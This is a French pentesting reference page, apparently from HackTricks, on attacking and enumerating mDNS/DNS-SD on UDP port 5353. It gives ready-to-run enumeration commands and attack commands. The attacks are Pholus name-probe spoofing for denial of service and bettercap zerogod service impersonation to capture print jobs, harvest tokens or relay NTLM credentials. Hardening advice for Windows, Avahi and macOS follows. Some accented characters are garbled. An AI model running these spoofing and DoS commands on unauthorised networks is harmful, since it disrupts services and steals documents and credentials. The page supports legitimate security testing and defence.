5353/UDP Multicast DNS (mDNS) et DNS-SD

Reading time: 8 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

Multicast DNS (mDNS) permet la résolution de noms et la découverte de services semblables à DNS à l'intérieur d'un lien local sans serveur DNS unicast. Il utilise UDP/5353 et les adresses multicast 224.0.0.251 (IPv4) et FF02::FB (IPv6). La découverte de services DNS (DNS-SD, généralement utilisée avec mDNS) fournit un moyen standardisé d'énumérer et de décrire les services via des enregistrements PTR, SRV et TXT.

PORT     STATE SERVICE
5353/udp open  zeroconf

Détails clés du protocole que vous exploiterez souvent lors des attaques :

  • Les noms dans la zone .local sont rĂ©solus via mDNS.
  • Le bit QU (Query Unicast) peut demander des rĂ©ponses unicast mĂȘme pour des questions multicast.
  • Les implĂ©mentations doivent ignorer les paquets non provenant du lien local ; certaines piles les acceptent encore.
  • Le sondage/l'annonce impose des noms d'hĂŽtes/services uniques ; interfĂ©rer ici crĂ©e des conditions de DoS/"name squatting".

ModĂšle de service DNS-SD

Les services sont identifiés comme _._tcp ou _._udp sous .local, par exemple _ipp._tcp.local (imprimantes), _airplay._tcp.local (AirPlay), _adb._tcp.local (Android Debug Bridge), etc. Découvrez les types avec _services._dns-sd._udp.local, puis résolvez les instances découvertes en SRV/TXT/A/AAAA.

Exploration et énumération du réseau

  • scan cible nmap (mDNS direct sur un hĂŽte) :
bash
nmap -sU -p 5353 --script=dns-service-discovery <target>
  • dĂ©couverte par diffusion nmap (Ă©coutez le segment et Ă©numĂ©rez tous les types/instances DNS-SD) :
bash
sudo nmap --script=broadcast-dns-service-discovery
  • avahi-browse (Linux) :
bash
# Lister les types de service
avahi-browse -bt _services._dns-sd._udp
# Parcourir tous les services et résoudre en hÎte/port
avahi-browse -art
  • Apple dns-sd (macOS) :
bash
# Parcourir tous les services HTTP
dns-sd -B _http._tcp
# ÉnumĂ©rer les types de service
dns-sd -B _services._dns-sd._udp
# Résoudre une instance spécifique en SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
  • Capture de paquets avec tshark :
bash
# Capture en direct
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Seulement les requĂȘtes de liste de services DNS-SD
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""

Astuce : Certains navigateurs/WebRTC utilisent des noms d'hÎtes mDNS éphémÚres pour masquer les IP locales. Si vous voyez des candidats random-UUID.local sur le fil, résolvez-les avec mDNS pour pivoter vers des IP locales.

Attaques

Interférence de sondage de nom mDNS (DoS / name squatting)

Pendant la phase de sondage, un hĂŽte vĂ©rifie l'unicitĂ© du nom. RĂ©pondre avec des conflits falsifiĂ©s l'oblige Ă  choisir de nouveaux noms ou Ă  Ă©chouer. Cela peut retarder ou empĂȘcher l'enregistrement et la dĂ©couverte de services.

Exemple avec Pholus :

bash
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000

Usurpation de service et impersonation (MitM)

Imitez les services DNS-SD annoncés (imprimantes, AirPlay, HTTP, partages de fichiers) pour forcer les clients à se connecter à vous. Cela est particuliÚrement utile pour :

  • Capturer des documents en usurpant _ipp._tcp ou _printer._tcp.
  • Attirer les clients vers des services HTTP/HTTPS pour rĂ©colter des tokens/cookies ou livrer des charges utiles.
  • Combiner avec des techniques de relais NTLM lorsque les clients Windows nĂ©gocient l'authentification avec des services usurpĂ©s.

Avec le module zerogod de bettercap (usurpateur/impersonateur mDNS/DNS-SD) :

bash
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"

# Show all services seen from a host
> zerogod.show 192.168.1.42

# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42

# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42

# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml

Aussi voir le spoofing LLMNR/NBNS/mDNS/WPAD générique et les workflows de capture/relais d'identifiants :

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Remarques sur les problÚmes d'implémentation récents (utile pour DoS/persistente lors des engagements)

  • Les bugs de crash d'Avahi reachable-assertion et D-Bus (2023) peuvent terminer avahi-daemon sur les distributions Linux (par exemple, CVE-2023-38469..38473, CVE-2023-1981), perturbant la dĂ©couverte de services sur les hĂŽtes cibles jusqu'au redĂ©marrage.
  • Le DoS de la passerelle mDNS du contrĂŽleur LAN sans fil Cisco IOS XE (2024, CVE-2024-20303) permet aux attaquants adjacents de provoquer une forte utilisation du CPU et de dĂ©connecter les points d'accĂšs. Si vous rencontrez une passerelle mDNS entre les VLAN, soyez conscient de sa stabilitĂ© sous des mDNS malformĂ©s ou Ă  haut dĂ©bit.

Considérations défensives et OPSEC

  • Limites de segment : Ne pas router 224.0.0.251/FF02::FB entre les zones de sĂ©curitĂ© Ă  moins qu'une passerelle mDNS ne soit explicitement requise. Si vous devez relier la dĂ©couverte, prĂ©fĂ©rez les listes d'autorisation et les limites de taux.
  • Points de terminaison/serveurs Windows :
  • Pour dĂ©sactiver complĂštement la rĂ©solution de noms via mDNS, dĂ©finissez la valeur du registre et redĂ©marrez :
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
  • Dans les environnements gĂ©rĂ©s, dĂ©sactivez la rĂšgle intĂ©grĂ©e “mDNS (UDP-In)” du pare-feu Windows Defender (au moins sur le profil de domaine) pour empĂȘcher le traitement mDNS entrant tout en prĂ©servant la fonctionnalitĂ© domestique/itinĂ©rante.
  • Sur les nouvelles versions de Windows 11/ modĂšles GPO, utilisez la politique “Configuration de l'ordinateur > ModĂšles administratifs > RĂ©seau > Client DNS > Configurer le protocole DNS multicast (mDNS)” et dĂ©finissez-le sur DĂ©sactivĂ©.
  • Linux (Avahi) :
  • Limitez la publication lorsque ce n'est pas nĂ©cessaire : dĂ©finissez disable-publishing=yes, et restreignez les interfaces avec allow-interfaces= / deny-interfaces= dans /etc/avahi/avahi-daemon.conf.
  • Envisagez check-response-ttl=yes et Ă©vitez enable-reflector=yes Ă  moins que cela ne soit strictement nĂ©cessaire ; prĂ©fĂ©rez les listes d'autorisation reflect-filters= lors du reflet.
  • macOS : Restreindre le mDNS entrant aux pare-feu hĂŽte/rĂ©seau lorsque la dĂ©couverte Bonjour n'est pas nĂ©cessaire pour des sous-rĂ©seaux spĂ©cifiques.
  • Surveillance : Alertez sur des pics inhabituels dans les requĂȘtes _services._dns-sd._udp.local ou des changements soudains dans SRV/TXT de services critiques ; ce sont des indicateurs de spoofing ou d'imitation de service.

Référence rapide des outils

  • nmap NSE : dns-service-discovery et broadcast-dns-service-discovery.
  • Pholus : scan actif, balayages mDNS inversĂ©s, aides DoS et spoofing.
bash
# Sniffing passif (secondes de timeout)
sudo python3 pholus3.py <iface> -stimeout 60
# ÉnumĂ©rer les types de services
sudo python3 pholus3.py <iface> -sscan
# Envoyer des requĂȘtes mDNS gĂ©nĂ©riques
sudo python3 pholus3.py <iface> --request
# Balayage mDNS inversé d'un sous-réseau
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
  • bettercap zerogod : dĂ©couvrir, sauvegarder, annoncer et imiter les services mDNS/DNS-SD (voir exemples ci-dessus).

Spoofing/MitM

L'attaque la plus intĂ©ressante que vous pouvez effectuer sur ce service est de rĂ©aliser un MitM dans la communication entre le client et le vĂ©ritable serveur. Vous pourriez ĂȘtre en mesure d'obtenir des fichiers sensibles (MitM la communication avec l'imprimante) ou mĂȘme des identifiants (authentification Windows).
Pour plus d'informations, consultez :

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks